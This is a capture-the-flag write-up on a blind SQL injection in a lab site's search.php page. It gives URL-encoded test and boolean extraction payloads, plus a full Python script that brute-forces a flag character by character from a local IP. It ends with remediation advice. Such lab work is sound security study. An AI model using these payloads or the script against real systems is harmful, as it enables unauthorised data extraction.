Vulnerability analysis The search.php script accepts two inputs: a numerical one representing the issue number, and a string one representing the issue title. They cannot be both empty. The string input is not vulnerable to SQL injection since it is escaped. On the contrary, the numerical input can be exploited, resulting in a blind SQL injection. We can test the vulnerability with Burp by sending the payload: dydnum=0%2b1&dydtitle= and checking that the result page is not abnormal, and it coincides with the page returned by the body: dydnum=1&dydtitle= This means that the 0+1 operation gets evaluated by the SQL server. Exploitation We cannot exploit error-based SQL injection, because query errors are uninformative. Indeed, if I send a payload like: dydnum=1%2bupdatexml(NULL,concat(0x7e,database()),NULL)&dydtitle= the result page will carry an uninformative message "Invalid query". Therefore, we must exploit the blind SQL injection by repeatedly sending payloads like: dydnum=1+AND+BINARY+'a'%3d(SELECT+SUBSTR(flag,1,1)+FROM+flag)&dydtitle= Such a payload checks whether the first character of the flag is 'a' (case sensitive) or not. If it is, then the response page should contain one of the three possible strings: "Yes, I have it!", "Got it! :-D", or "I bought it last year.", which are casually chosen by the server. If it is not, then the response page should contain "Mmmm... Apparently I don't have this issue.", "It's a very good issue, but my collection lacks it!", or "Do you have it? I don't... :-(". Note that before the "AND" we have to use an issue number that is owned in the collection (dydnum=1 in the example above), otherwise the above attack will not work. In order to discover the whole flag, it is convenient to script the attack in the following way: ===== exploit.py ===== #!python3 import requests import string protocol = "http" domain = "10.0.2.15" port = "80" page_name = "/search.php" url = protocol + "://" + domain + ":" + port + page_name print("Retrieving flag...") for position in list(range(1, 50)): for char in string.ascii_uppercase + string.ascii_lowercase + string.digits + "-_{}[]": dydnum = "1 AND BINARY '" + char + "'=(SELECT SUBSTRING(flag," + str(position) + ",1) FROM flag) -- " payload = {"dydnum": dydnum, "dydtitle": ""} response = requests.post(url, data=payload) if response.status_code != requests.codes.ok: exit("Status code not OK") if "Yes, I have it!" in response.text or "Got it! :-D" in response.text or "I bought it last year." in response.text: print(char, end='', flush=True) break elif not "Mmmm... Apparently I don't have this issue." in response.text and not "It's a very good issue, but my collection lacks it!" in response.text and not "Do you have it? I don't... :-(" in response.text: exit("Returned page not valid") print() print("Done.") ===== exploit.py (END) ===== Remediation We can patch this by using whitelist-based filter on the numerical input, or, better, by refactoring all the SQL queries to use prepared statements.